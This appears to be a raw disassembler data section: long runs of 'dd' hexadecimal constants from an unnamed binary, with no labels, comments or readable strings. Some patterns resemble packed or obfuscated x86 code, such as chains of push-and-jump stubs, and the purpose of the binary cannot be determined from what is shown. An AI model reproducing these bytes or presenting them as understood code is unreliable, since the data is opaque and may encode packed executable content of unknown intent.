		dd 87E54E10h, 3C2E1F17h, 0F262E1D2h, 1AC52CC4h,	8A548434h
		dd 0DAA8F154h, 42531693h, 0B72F96A8h, 0C6108932h, 0F53E20F5h
		dd 3B140272h, 0D0979F8h, 0A0605A30h, 0EFD76E70h, 0C1AB64Bh
		dd 37D343A7h, 7380B687h, 3813A70Fh, 37E72A99h, 0B58602B9h
		dd 6FB8F6A2h, 6B6F5640h, 4472E246h, 0C5F89F4Bh,	80022F2Dh
		dd 0F76CB510h, 3E0F02B9h, 0F77CA520h, 2EFF02B9h, 72A2563Ch
		dd 1FEDD96Ch, 5F7004A3h, 9A0A69B6h, 0B424879Ch,	0F525D9E1h
		dd 0D6265AE9h, 96A70ECFh, 0F399BEA0h, 29E27A16h, 0D38134CBh
		dd 0A8872968h, 0C6BAE3C2h, 0CC430EEFh, 9F2011E1h, 7416E72Fh
		dd 1151B439h, 493CB6h, 0AB500000h, 4003DB0Bh, 169BF5F0h
		dd 4F92312Bh, 2E1693F1h, 0BE443F25h, 2906F99Fh,	4A4C5D41h
		dd 6F0B5384h, 0D4827DB2h, 0ACEA5ADFh, 418C37D3h, 2E169349h
		dd 1BA70B28h, 10ED2999h, 79644B3Fh, 0BDD56DD0h,	0BDF39Dh
		dd 24C70000h, 525F57C7h, 9D9680F0h, 7B68AE1Eh, 9C0C6CF8h
		dd 0EB8AA59Ah, 86F7A8C6h, 0F767C410h, 1F17EEE7h, 23918AB6h
		dd 482292F0h, 575F62Dh,	0A7D7A711h, 5F002C97h, 0F825169Bh
		dd 300D0979h, 0DFD4761Fh, 9802E858h, 1FA6B8E8h,	108B33FBh
		dd 88149582h, 8479BD2Dh, 0E93093ABh, 941CABABh,	0A192AC83h
		dd 45B6B921h, 1713BCF5h, 64C65D38h, 0BB9829F4h,	2D47B1BDh
		dd 1D2C5h, 90007E00h, 5BCB2E05h, 980865BAh, 52C226FDh
		dd 9E0E6CC3h, 0B8EBA0F7h, 0F42BCA3Ah, 0BD720373h, 0F926CF3Fh
		dd 586B0A7Ah, 0DF8ACF76h, 0F071169Dh, 61864F4Ch, 231D4084h
		dd 0C141F298h, 0C6FC451h, 0AB33F99Ch, 4003DB0Bh, 169BF5F0h
		dd 4F92312Bh, 2E1693F1h, 78496D1Dh, 0F196B73Eh,	5D5F1693h
		dd 3264D454h, 0DB02AD5Dh, 0BD1D0B6Eh, 0F3919Dh,	4FA50000h
		dd 9A70E062h, 0AB91A99h, 1086F2C7h, 7CBA95A6h, 0A3930367h
		dd 86F7D220h, 0ED5DDE10h, 30981B08h, 9A4C62E1h,	31A107DAh
		dd 42D311Eh, 0D75535A5h, 355CE7F5h, 0B8108610h,	6C8A7EFh
		dd 123DEF64h, 2550794Ch, 0A1B1086h, 5E863A60h, 0FA2BA6BAh
		dd 5866496Ch, 9BA641EDh, 63E2E416h, 1693A73Eh, 45A7ECBDh
		dd 0C3ECE1D5h, 84B48432h, 0CC280BBAh, 7647108Bh, 77E74B68h
		dd 0C131919Eh, 0BE6AA53Ch, 0BC383EB1h, 0D7h, 0E88DFD79h
		dd 0AF46B63Bh, 950580h,	0B85DCD33h, 0FE97076Bh,	4BAFE2A9h
		dd 82E53ADBh, 50AC8312h, 9D1E15E0h, 4F7F482Dh, 9DDCADF4h
		dd 6DCF5016h, 73E3624Fh, 0A8189A97h, 0AD1D9D96h, 281AEBDh
		dd 9581F176h, 0F2D5FCC7h, 87981086h, 0A5B787A8h, 86F2FB1Eh
		dd 5C08210h, 1086F2DCh,	96A18E9Fh, 97A30502h, 115C0E62h
		dd 57C7242Bh, 81F1525Fh, 89F974BDh, 0BBDAB08Dh,	431B4BEBh
		dd 2B9B1819h, 4D7812EBh, 16A21162h, 0ED063001h,	0D3771E8Eh
		dd 0ED173A09h, 0C5D6169Dh, 1787E425h, 454CA41Fh, 5AC13623h
		dd 67D75473h, 0B222A18Eh, 0B22287ACh, 35DF8B84h, 4A4CBC3Ch
		dd 0F3525F6Bh, 0FDB0E783h, 1CF969CAh, 234A407h,	0A82h
		dd 0F57BB800h, 0CEBC9185h, 244B2F66h, 475C5ACAh, 314274E4h
		dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h
		dd 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4EB8300h, 31241C33h
		dd 1C33241Ch, 0AB685C24h, 8900003Dh, 0D868243Ch, 8900000Fh
		dd 0BE56241Ch, 63585580h, 0D107EEC1h, 0D8F796E6h, 8EF68196h
		dd 812B0949h, 0FF1B54CEh, 2EEE817Eh, 89F9E4BFh,	8B545EF7h
		dd 0C483241Ch, 0BB535704h, 0AB4193Dh, 4245C31h,	8438F5Bh
		dd 3D087381h
		dd 0FF0AB419h, 835B2434h, 34FF04C4h, 0C4815F24h, 4, 0FA4E85E9h
		dd 63B9C2FFh, 0B8071597h, 61B2F51h, 0E0FFC503h,	0C80ADA2h
		dd 77F6B16Eh, 378A5192h, 48443798h, 52E20001h, 2B2C7EE2h
		dd 45AA1D82h, 1A53354Ah, 9A65780h, 18AE9h, 0E6470C00h
		dd 0D52C2710h, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh
		dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h
		dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh,	0BA9755FCh
		dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h
		dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh
		dd 43h dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 2 dup(0)
		dd 0E9000000h, 1001h, 1B336368h, 173EE906h, 6D68FFFBh
		dd 0E9061B34h, 0FFFB1734h, 1B363268h, 172AE906h, 0E368FFFBh
		dd 0E9061B36h, 0FFFB1720h, 1B380168h, 1716E906h, 0F568FFFBh
		dd 0E9061B38h, 0FFFB170Ch, 1B398968h, 1702E906h, 3968FFFBh
		dd 0E9061B3Ah, 0FFFB16F8h, 1B3B4D68h, 16EEE906h, 0C968FFFBh
		dd 0E9061B3Bh, 0FFFB16E4h, 1B3C9768h, 16DAE906h, 3468FFFBh
		dd 0E9061B3Dh, 0FFFB16D0h, 1B3DCA68h, 16C6E906h, 0E668FFFBh
		dd 0E9061B3Eh, 0FFFB16BCh, 1B401868h, 16B2E906h, 0BCB1FFFBh
		dd 4C44CFC1h, 0BAB45F31h, 4E36C1C3h, 0C0B25D2Fh, 7E6CCBBDh
		dd 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h, 62621B12h, 94C1BDAAh
		dd 0A723ACh, 9F863D95h,	0F36A13FAh, 0DF6AF33Ah,	863395E8h
		dd 724CDB2Ah, 0B353E814h, 0B6901940h, 0A729D6E3h, 7DF96905h
		dd 6BECEF2Ch, 0D3827C6Fh, 0C1A729DEh, 4BAEE298h, 20000000h
		dd 0D7D76CC4h, 0AD3EDEBAh, 0E9062FDAh, 53E1F90Dh, 0A6A0B5B3h
		dd 0E57C01F3h, 0B55C052Ch, 58F9E57Ch, 6AA729DBh, 88D5B186h
		dd 14A729DBh, 0F8950C65h, 47F9700Dh, 0C5ADC55Dh, 3108B1B8h
		dd 0BC38AC4Ah, 6BECF7EBh, 0D00Bh, 9F86BD00h, 482AC7DEh
		dd 0A6A12C35h, 6B4B58D7h, 0AD3EDF2Eh, 0EC73BB6Eh, 27564EFFh
		dd 0F49FD77Eh, 2A0484F9h, 0AD3EE339h, 0FF7A28Dh, 755AF76Eh
		dd 0EB083108h, 0DA5FFEF8h, 0C3DAD3Eh, 0B0976266h, 0B977D4CDh
		dd 55817D6Ah, 41B353EEh, 0B0D31F32h, 4A23C4A6h,	2473CD7Ah
		dd 28042707h, 79A0AD41h, 840EC97Ah, 53ED3CA3h, 8D7F0E1Bh
		dd 293A0F0h, 3522C0Bh, 91AD3BE7h, 0AAE991E8h, 435FB5C8h
		dd 4DFA0790h, 0D8E32D4h, 4E90000h, 846C1779h, 2EC97F9h
		dd 867E097Bh, 8EA95F7h,	26941375h, 3597E6CCh, 0B818654Ah
		dd 3597E6CDh, 0AA1A634Ah, 5CF9F5F2h, 38A723ABh,	0A486F54Dh
		dd 210CF7D9h, 8C3F6C5Ch, 26BC10EFh, 0ABD2B7CFh,	0FC32FBB2h
		dd 0AD99248Eh, 0B57C01ECh, 5C2D05ACh, 989695E4h, 0B353E2A2h
		dd 74211D0Eh, 4EA729DBh, 0D77E2756h, 0C895DD8Ch, 7B1E08A1h
		dd 47A729DBh, 5901964h,	4512D0Ah, 90A729DCh, 621990E9h
		dd 8CC6E054h, 46C3237Ah, 72FC73BAh, 1B018602h, 0B9F56BECh
		dd 0C7000000h, 0E4B39924h, 1D6286CDh, 0A8C178C2h, 230A49F1h
		dd 6A270714h, 2AAD3E3Bh, 3B5603FFh, 1346AD3Eh, 0C4A6435Ah
		dd 55D6B0B9h, 0F1AD3E40h, 7A0587F6h, 1473EA93h,	0E0DE4D9Ch
		dd 0B3534B32h, 68D5B762h, 0CAB39DD0h, 7BB2CBBFh, 0D8CE7F6Ch
		dd 0AB6FCDA5h, 0EBAD40D2h, 2E24B13Eh, 0A5307D4Fh, 1ED7CEAFh
		dd 26573D58h, 77BBE32h,	8F33EEFAh, 0C84h, 97B02F3h, 91F38A7Eh
		dd 0B7D00E6h, 97F98480h, 157706ECh, 0E4C62096h,	634C3799h
		dd 0ECDFAA1Ah, 59543F91h, 0FFECA424h, 23AA52FFh, 0FB5342A7h
		dd 5AD9A486h, 0DF306D49h, 0D96CAD3Eh, 601990EDh, 0A26D6119h
		dd 44F2D2ABh, 0A4F89F86h, 60BA0B4Bh, 0DE6F7CB5h, 670E97E6h
		dd 12FD980Fh, 14AC196Bh, 0BA4826C5h, 0DAB35404h, 94C362Fh
		dd 0DFA729BAh, 334A41CCh, 0C1AB832Ah, 0D5F4B531h, 14A76BECh
		dd 83588B53h, 28680E4Fh, 72h, 1D6CC49Ah, 7BA300Eh, 0E9DAB354h
		dd 29B5500Dh, 0E7374CA7h, 566EC861h, 821B521Bh,	29D7F598h
		dd 0EF83F3A7h, 0ECF03673h, 44C26Bh, 0C4F40000h,	300E1D6Ch
		dd 0B35406EEh, 0D8858172h, 0F0A729B6h, 0BCFF6C68h, 29500BB5h
		dd 3C651451h, 296B2F62h, 9BAB9A7h, 0D8291864h, 119BD3A2h
		dd 3B6425A1h, 24376BECh, 29130B4Ah, 9AE089A7h, 1EF6h, 9724C800h
		dd 0F70750AAh, 1802B8E9h, 9FEBC0CFh, 7AFE90E6h,	35000008h
		dd 0C2DBA288h, 0C465630Bh, 0BAD7D76Ch, 0DAAD3EDEh, 0DE500DE9h
		dd 1D4CAD3Eh, 84923754h, 89D60E1Fh, 8D4343B0h, 75B35989h
		dd 69FDEC8h, 0B3E274Fh,	27B711Ch, 1FACBF2Ch, 0EC2BD676h
		dd 8BE34Eh, 6D187805h, 0FFECFB82h, 1A24594Eh, 0A723CE7Bh
		dd 1F4AF019h, 4F4578D0h, 717E372Eh, 23CEC895h, 0CCA5D4A7h
		dd 0FF385F5Fh, 0AD5CAD3Eh, 0FF988F3Eh, 9713BC9Eh, 7A03EA80h
		dd 2A032AE3h, 0C5C04D5Ah, 0DCD382B8h, 7A0B08A1h, 6846E598h
		dd 0AD3EB529h, 1B78BE6Bh, 782D689Dh, 0E862EDC2h, 0F2A4A291h
		dd 0A2B353E4h, 7211A177h, 0B673FC10h, 0ABF14h, 0AAD3B800h
		dd 423B2FDAh, 0ACD1B742h, 483531DCh, 0A6D7BD48h, 0F7118726h
		dd 9D686815h, 3CC7C9B4h, 0DDA82855h, 61398BF2h,	0A8CB8A64h
		dd 0DCC9A723h, 0E0163766h, 4EEAAD3Eh, 6B65F0FFh, 8CE28B12h
		dd 0E599F9Fh, 0CC7DB35Ah, 0A2F14FFCh, 0DE5BA985h, 0CA7FAD3Eh
		dd 0E4B5B05Dh, 0E8E891ECh, 59240ABBh, 1E7B7221h, 861F5627h
		dd 0B3408F29h, 5A0D94D3h, 83FCCB3h, 0C4B99B55h,	4E332787h
		dd 1D0A3F28h, 90227570h, 96EF077Fh, 12FDCFA6h, 5F3B621Bh
		dd 27231930h, 0D44378D0h, 0E0C3C5E3h, 0EE8072Eh, 2D387368h
		dd 0BD3F1544h, 0CF7A0BC7h, 0A0EB052h, 84690000h, 4EC97F9h
		dd 826C1779h, 6FE89FBh,	886A1577h, 0A61493F5h, 0B517664Ch
		dd 3898E5CAh, 0B517664Dh, 2A9AE3CAh, 0DC797572h, 0B8A723A8h
		dd 6CC475CDh, 8D7F0E1Dh, 0DE8DCCAAh, 5A0FAD3Eh,	2AB97413h
		dd 0AEB8E736h, 358B6B88h, 71B3593Dh, 0DC95E8E4h, 0BAF5C4Fh
		dd 16CA948Eh, 0E9E46FC7h, 0EBDFBAB0h, 0BC2DB92h, 0B0976262h
		dd 97EAA787h, 7FAAA723h, 0E860AFB6h, 709C9A99h,	8CAD3EC8h
		dd 0A28910F9h, 620B92DBh, 0AE0C2125h, 930E435h,	0CEAF9EAh
		dd 0AD3E2D4Dh, 39541A4Fh, 0B25D2F4Eh, 4C9BC2BBh, 0A886A5F4h
		dd 0B3595E1Fh, 0E69794C5h, 0E4717EFFh, 0C4B9B0E9h, 0D4C1C56Dh
		dd 8E180127h, 0E78F7DD6h, 0A5BCC1ACh, 237098B9h, 81D068A7h
		dd 0A0F09472h, 7DACAD3Eh, 95E8DF6Eh, 7157E633h,	80A9E8C6h
		dd 3EEBAD3Eh, 19143FF7h, 52EE3D64h, 0BA0AE403h,	0DEB359B0h
		dd 8835322Bh, 0BC2DBA2h, 7073221Ch, 0F821A723h,	0A8F75142h
		dd 947BAB8Bh, 0EE1BAD38h, 0B26642Ah, 8D21D8FAh,	8F0h, 0F5D7A687h
		dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h
		dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 23A6B6E3h
		dd 1F6FE6A7h, 16FA9F86h, 0BBB33E67h, 3BF29BC2h,	0D17C6BF2h
		dd 0BECDA5D8h, 22AFB6C7h, 0BB564F2Eh, 6B3AAD3h,	84EE089Ch
		dd 0DC801BDDh, 59DD5E17h, 0C7B6B1C9h, 69D1D6C5h, 7257201h
		dd 97000000h, 4F27Fh, 48823100h, 0E5989441h, 6C5D15BCh
		dd 886685D4h, 0B353E88Ah, 0ACE9C5D6h, 0E8A729D5h, 85D4B241h
		dd 17A729D5h, 26530C62h, 0A72A85A1h, 0B3627A35h, 1879C1BCh
		dd 33E251A0h, 8B263F3Eh, 24CDD4A9h, 2A04254Dh, 0DE352E78h
		dd 8AC7A71Ch, 0ADA32EEh, 0A7F6D05Fh, 0F5DA32EEh, 1774ED44h
		dd 0E1DD4A99h, 0E04B616Ch, 6152E188h, 7AC0BDB4h, 789F4DBh
		dd 0F7866B1Ah, 6419143Fh, 16E900F0h, 71158C2Fh,	7FCh, 0E1E39A7Bh
		dd 794B3216h, 0E3E5988Eh, 7F512C18h, 0EDDF9E94h, 0CCBE584Eh
		dd 3B34DFB1h, 0D4B74242h, 715C27A9h, 0E7E4BC0Ch, 23A64A07h
		dd 0E35B4AA7h, 0CCB19924h, 7D00E7A6h, 1A6349E4h, 6EA31DAAh
		dd 0FCBB0524h, 89CDED16h, 8E1A0B48h, 2F0F1C55h,	0B359AF9Fh
		dd 18A542F7h, 3380502Dh, 62D1ACA2h, 23703564h, 7CB267A7h
		dd 0FEA7D6D1h, 2BC817B1h, 0D8A58D38h, 0A068A4A2h, 0E594AD3Eh
		dd 0ADD0B746h, 483530DBh, 0DF9E9421h, 5348179h,	9436F3FAh
		dd 768h, 6D5F1E0Fh
		dd 0FDCFAEA2h, 6F611C12h, 0F3D5A8A4h, 695B2208h, 5042DCCAh
		dd 0B7B05B2Dh, 583BC6C6h, 0EDD8A325h, 6B684090h, 23A5CE8Bh
		dd 67D7CEA7h, 1A373724h, 7AAD3EDFh, 0B1CCC2CFh,	61B00889h
		dd 0F18F4D2h, 1544B35Ah, 0B3846716h, 23AE86D3h,	0A6316A7h
		dd 6606F493h, 0E7D96C65h, 0BA4BE88Eh, 2E3DAAD3h, 235B0150h
		dd 0B4C9C1A7h, 1878BE6Bh, 8B5826Dh, 8D445D20h, 235AE4B1h
		dd 0D7A3B0A7h, 0BD28C8AFh, 0BCE58CE5h, 34493ECFh, 0DDAE842Dh
		dd 4171463h, 0F17A1717h, 0EF1AA722h, 0F971BD47h, 9CCDAD37h
		dd 0B81FCB8h, 0D57930FAh, 6B8h,	0DDAFCEBFh, 4D3F3E32h
		dd 0DFB1CCC2h, 43453834h, 0D9ABD2B8h, 0A0926C5Ah, 2720EBDDh
		dd 0A88B7656h, 1D08F3D5h, 0BBB87060h, 23A49EBBh, 3787FEA7h
		dd 15FA9F86h, 38452D68h, 501F201h, 0AD3EDE58h, 425D1544h
		dd 0A4BDC0A7h, 97AF43B3h, 0AF5ECDB0h, 0F59CC5B8h, 4D5A493Dh
		dd 0A97201F7h, 7, 2C57F1Bh, 86310000h, 68C7DE9Fh, 817281D0h
		dd 0D6BBDED4h, 0B6C1CEA7h, 0FD8C2B0Ah, 0F7D12B03h, 23B35921h
		dd 644CF9F6h, 0D059019h, 1D71C970h, 5B027B72h, 2FA1DCCEh
		dd 0B59126A2h, 0A722FFE8h, 0D48FEEE2h, 4C5FCCA5h, 0AFB6C7C1h
		dd 0D9D63006h, 47AD3E2Fh, 77061512h, 0BC75EC91h, 3DF01342h
		dd 0C1BCAFADh, 336F1A8h, 180FBE2Bh, 0AD986365h,	85B063D0h
		dd 0BBF31A8Bh, 83AAD3B6h, 3319B4ABh, 9C730F64h,	4E366A67h
		dd 8549062Fh, 0A7C0A40h, 0CA2940F9h, 29543B6Eh,	0CFE3E350h
		dd 0EFB352F9h, 0FC672F54h, 0DD94CF41h, 10F4AB77h, 9A2CE5FCh
		dd 5A4h, 299BE2D3h, 0B1136A5Eh,	2B9DE0C6h, 0B7196460h
		dd 3597E6CCh, 4E60076h,	836C1779h, 0CFF8AFAh, 79741F71h
		dd 1F0C8404h, 23A3721Fh, 0DB3322A7h, 0C7DE9F86h, 854432Ah
		dd 5716A78Bh, 24B1B881h, 0BB564F2Eh, 1BFCA5D8h,	60D3079Bh
		dd 5F465ED6h, 7281AE1Eh, 3EA7C594h, 0CCA2D7ADh,	1C04C5Dh
		dd 7AC72h, 7F1E0000h, 144h, 0DE9F8631h,	56BA67Ah, 871BD6FAh
		dd 528h, 0AD1F5E4Fh, 3D8FEEE2h,	0AF215C52h, 3395E8E4h
		dd 0A91B6248h, 90829C0Ah, 0F7F09BEDh, 987B0686h, 2D18E3E5h
		dd 0ABA88050h, 23A38ECBh, 27970EA7h, 807A9724h,	4B2B8C37h
		dd 7D6823h, 570600F3h, 73AD3E06h, 1322FD80h, 923B621Bh
		dd 810C93DBh, 8D6EF786h, 666179E9h, 2166B517h, 0D572011Fh
		dd 21h,	3E5B5B48h, 5EAD3E0Fh, 0D59CE1C7h, 0BD7F2B9Dh, 92000000h
		dd 0F66F0E03h, 7F99F73Fh, 0B0h,	396CC431h, 0E8072E4Fh
		dd 4F0EE8FBh, 4DAD3EDEh, 1CE8561Ch, 38B35A10h, 0ADAEEBCBh
		dd 3BEEA723h, 18611C0Eh, 17826A1Bh, 4E244D30h, 93CF453h
		dd 0EB927920h, 2FCEB42h, 0AD38D378h, 2F27ED1Ch,	0A1FA0B7Ch
		dd 45A46E8h, 381D0000h,	0D0B84345h, 3630DBADh, 0D2BA4547h
		dd 3C2ED9ABh, 0FAF04F41h, 71532A20h, 0ECDCA186h, 71532A21h
		dd 0EEDE9F86h, 203D3936h, 7CA723A3h, 6CC4B909h,	0FB300E1Dh
		dd 99B3542Dh, 0E269CD8Ah, 3FF6969Fh, 522B25B0h,	98163872h
		dd 0C1ACA729h, 2CDFCCBCh, 0D6BA2523h, 0B73FE8A7h, 0DFC984AAh
		dd 0F563079Eh, 4D000003h, 0E1D6CC4h, 4DC46E1Dh,	92C9FB5Bh
		dd 6DA662DCh, 0A7D2B359h, 8217B1FEh, 0A29CE1D3h, 0A7234CF3h
		dd 32C178A1h, 38732A54h, 59BF6AADh, 0FA0BDFF3h,	0BD8628E1h
		dd 0BA000003h, 5924A4D9h, 0D1BC0C71h, 5B26A6D7h, 0CFBA0A73h
		dd 9130A0DDh, 720B011Bh, 0FB826712h, 720BFE89h,	0FD806712h
		dd 1816138Bh, 0A723A179h, 24D42A1Bh, 0A3CBB299h, 0AC3B8A26h
		dd 5A0FFAD2h, 0FCEB1EB3h, 20228F4Fh, 0D39BE4DEh, 0BDC0A756h
		dd 14413D2Eh, 80A72349h, 622DA1D9h, 3C8B126Bh, 0B8B63584h
		dd 0AD3E789Fh, 26D75405h, 0C34E3E3Fh, 0BBB8B1CCh, 2258250Ah
		dd 0EDE417B1h, 6C4AE990h, 0B3534A2Ah, 0D9A48736h, 145129D0h
		dd 0DC4BEF65h, 0CC45FC10h, 3273Ah, 225B5000h, 8AF3D7A2h
		dd 24594F3Ah, 90EDD9A4h, 1E5F5540h, 7F990FAEh, 0F5A0F08Dh
		dd 840F81FCh, 0F5A0F08Dh, 890183FAh, 0A1F3A29Ch, 0B4A1A723h
		dd 0DE9F865Eh, 563DC8C7h, 48C95341h, 0C66FA902h, 93EAE570h
		dd 0DD2C8431h, 2412704Eh, 1742B353h, 12E1B48Eh,	6707A729h
		dd 2B2A7FFBh, 2ECE6BECh, 0
		dd 0E1D6CC4h, 53E20A30h, 52B9CAB3h, 0BC7E57D3h,	0BD1AC233h
		dd 0C6E1CF8Eh, 490CF66Fh, 9FA72952h, 6227A30Fh,	966BEC6Fh
		dd 0DCh, 0DE9F8628h, 35482AC7h,	0F3A6A12Ch, 38B77EFFh
		dd 0DF0E4B2Bh, 0DB8EAD3Eh, 86810C93h, 0CC9B95F7h, 16AD3EE3h
		dd 0F9846A2Fh, 2070C970h, 0E4037A75h, 4B98E657h, 90E6532Fh
		dd 0AFFEBA19h, 0D1B44640h, 21ACB353h, 37A7425h,	0CF7A332Ah
		dd 5009A0DDh, 0BC0C3D2Ah, 94E9DE6Fh, 0BD0E640Dh, 3737B403h
		dd 0AD41781Bh, 0B461CE7Bh, 4330BFBEh, 3C261643h, 9BD386ADh
		dd 514DFE2Bh, 0F119DE86h, 0A587C66Ch, 0DAE484D8h, 0F1A8FA07h
		dd 20B5Dh, 0F6876C00h, 7607EB96h, 0F8856B16h, 7C01ED98h
		dd 0F28B810Ch, 4BA51392h, 0C9B41469h, 602B9DE0h, 0C9B41469h
		dd 752D9FDEh, 0A0DF7E78h, 0C8BDA723h, 6397247Ah, 0BF674C5Bh
		dd 5339541Ah, 0B8AF5A2Ah, 714DEAE1h, 0AD3E3124h, 0F970C970h
		dd 2997F940h, 4D396CC4h, 0D5803930h, 5ECDA4D9h,	53E2DA60h
		dd 0E04FFAB3h, 0DBA6F3D3h, 43F6A729h, 0C78A74EBh, 21A729DBh
		dd 0F2A31D95h, 0CAB39AFFh, 1B531AD3h, 0ECF77B0Ch, 0EB7B6Bh
		dd 1FAE0000h, 0AB1D5528h, 1E219724h, 65D9308Eh,	0F6877E0Dh
		dd 8DF0E26Fh, 4F392A14h, 0A28DAD3Eh, 4EFC9995h,	8D98AD3Eh
		dd 26CFD6A7h, 79A6264Fh, 4ECD8C6Ah, 9ACFAD3Eh, 0CBCEB9D4h
		dd 821198E5h, 17522CDDh, 0EAA7CE9Ch, 0A5BC7508h, 8C9BEA46h
		dd 0F5B1EC9Fh, 0B9FDDC3Eh, 72738381h, 5CEFB353h, 54569DC9h
		dd 89F4DD9Fh, 0CEAFA5B0h, 0F581ED7h, 63DD6A5Ah,	10A1F0CEh
		dd 0F3A729h, 29105706h,	5D1445A7h, 1C171714h, 0B8AD40B8h
		dd 0B591A291h, 0AD3C75E8h, 3CAD85B4h, 0E2E29B91h, 0D4483517h
		dd 0FA07025Ah, 0D92FD34Eh, 9E000000h, 1500D0ADh, 0A570601Dh
		dd 7F2D2ABh, 0A36E5E1Fh, 3DFCCCB1h, 0BEBFB54Fh,	2F4E43CEh
		dd 0BEBFB25Dh, 314C43CEh, 0ECCAC75Fh, 0A7239EADh, 860876EFh
		dd 0CF7D9A4h, 3CCF5C21h, 0EB2989B2h, 4090E672h,	0DE9F8692h
		dd 0F4432AC7h, 3EDE5BFAh, 691039ADh, 0F5EDA67h,	0E792620h
		dd 62F3B35Ah, 0DE970E6Fh, 8D9ACF98h, 0B4132BFEh, 99B30D3Ch
		dd 5A7714F0h, 502EBD32h, 0A723BC01h, 1990E693h,	0F5886B1Ah
		dd 0DE6DC56Ch, 2ACAB0E7h, 241869E1h, 95907B4Dh,	73E5C1E8h
		dd 62BE2034h, 57E660D4h, 0DB920B72h, 8A0DF893h,	0DEBEF1E9h
		dd 0E7EB758h, 78F18C83h, 158CF1DDh, 4940CD5Eh, 470FE34h
		dd 6A13FB8Ah, 59F43AF3h, 0D2BD0F6Eh, 67FBA2DBh,	8, 0B3992449h
		dd 8317A4CAh, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h
		dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h
		dd 0E0895004h, 405h, 4E88300h, 8B240487h, 36682424h, 89000000h
		dd 89512404h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 240C895Ch
		dd 1B322B68h, 24048B06h, 4C481h, 8B540000h, 0C481240Ch
		dd 4, 8BB53h, 0CB010000h, 1C8B0389h, 4C48324h, 57240C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h,	0C4835824h
		dd 74EE904h, 4824FFFBh,	92CA2E72h, 4116B8BCh, 0C503061Bh
		dd 0AB3EE0FFh, 4D7E1F1Ch, 8B787437h, 0AF0E3873h, 26855FFDh
		dd 7E85D45h, 15000000h,	7B3FE764h, 94B58F4Ah, 7761BA5Fh
		dd 0C7814CA0h, 70DFh, 0CAB70F56h, 2CA2BB5Eh, 0EB81713Ch
		dd 713C1094h, 3810Fh, 0F2800000h, 8A37FF1Eh, 0CE958EBh
		dd 8B000000h, 22DF6604h, 0ED18204Ah, 815DC465h,	0B25C70E8h
		dd 0BE822h, 0A7790000h,	5292D895h, 123D9BCDh, 0F2816696h
		dd 815A1DFAh, 0C40F86C0h, 81F08A31h, 31050EF0h,	7E28103h
		dd 89468FBBh, 0DE907h, 11470000h, 45DFBF8Dh, 1B37ACE1h
		dd 83897329h, 5E901EFh,	88000000h, 38D6A006h, 814F4F4Fh
		dd 0C9588EF6h, 850F4B22h, 0FFFFFF89h, 4510E981h, 8D8D4F2Bh
		dd 61B435Fh, 0EEB86652h, 870F5AFDh, 0Eh, 9E9h, 17856A00h
		dd 0BDC4C506h, 8D89F167h, 6152721h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 34C35747h, 0EE44DA86h, 1D8D31F5h
		dd 0C7061527h, 1504CD85h, 72EC06h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8091715Ch
		dd 14E9CFD3h, 42000000h, 0FA9815CEh, 56A242Ah, 0CB67D726h
		dd 37B2C23Dh, 315DD0D1h, 15223595h, 1585C706h, 61511h
		dd 8B000000h, 95B5FFF0h, 6A061505h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1A3AC355h
		dd 609E457Ah, 0F7B70F17h, 2C995FFh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 3A5ADDC3h
		dd 6A37422Eh, 2195FF00h, 8B06152Eh, 0B76AEBC0h,	0E93AA788h
		dd 66DA58E6h, 1C9764C5h, 848A2104h, 0CC0212B1h,	8683067Dh
		dd 3A2CEFh, 209425FCh, 0C9E5A942h, 5841C7EAh, 5FD20EEFh
		dd 0C1D52720h, 0F1C3406Fh, 6360B78h, 0EE4E1AB6h, 7224AD4h
		dd 0CD504AB2h, 923343A1h, 0B51242ABh, 6A4EDE12h, 29728517h
		dd 0A046E324h, 77A80216h, 8DC5B98Ch, 65DAE12Bh,	535FBBCBh
		dd 758D8D3Bh, 0FC061B44h, 27218D89h, 89600615h,	1509B585h
		dd 0BE906h, 2C720000h, 0C9956ECFh, 0DD5469BAh, 85C761A3h
		dd 61504CDh, 6E94h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 29C35242h, 0D0F47D6h,	0D0FF502Ch, 0C7C78B66h
		dd 15111585h, 6, 0D7FDBB00h, 0B58B7898h, 6150BF1h, 3375B5FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 50F554C3h, 0C4805BF9h, 0C995FF83h, 9061502h
		dd 1510F59Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 68875A0Ah
		dd 0BF0EF22Bh, 0E9D8A596h, 24h,	6F189A5h, 8 dup(0)
		dd 584E9h, 0E858D600h, 2393160Dh, 0F060DD52h, 3AAA0E25h
		dd 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh, 12EC737h
		dd 50831282h, 0B692B78Eh, 9859169Dh, 9E0E6DC6h,	864F48ECh
		dd 0E83A0A7Bh, 0E05139EDh, 0AEC3F363h, 0D141C04Ch, 2EC7E8E5h
		dd 24128201h, 0FA3CAC0Fh, 1E1888E9h, 13B41B82h,	7EB540B0h
		dd 63E78EFEh, 2287CA79h, 5AD91086h, 6DD3ACEAh, 0FF7DAE5Ch
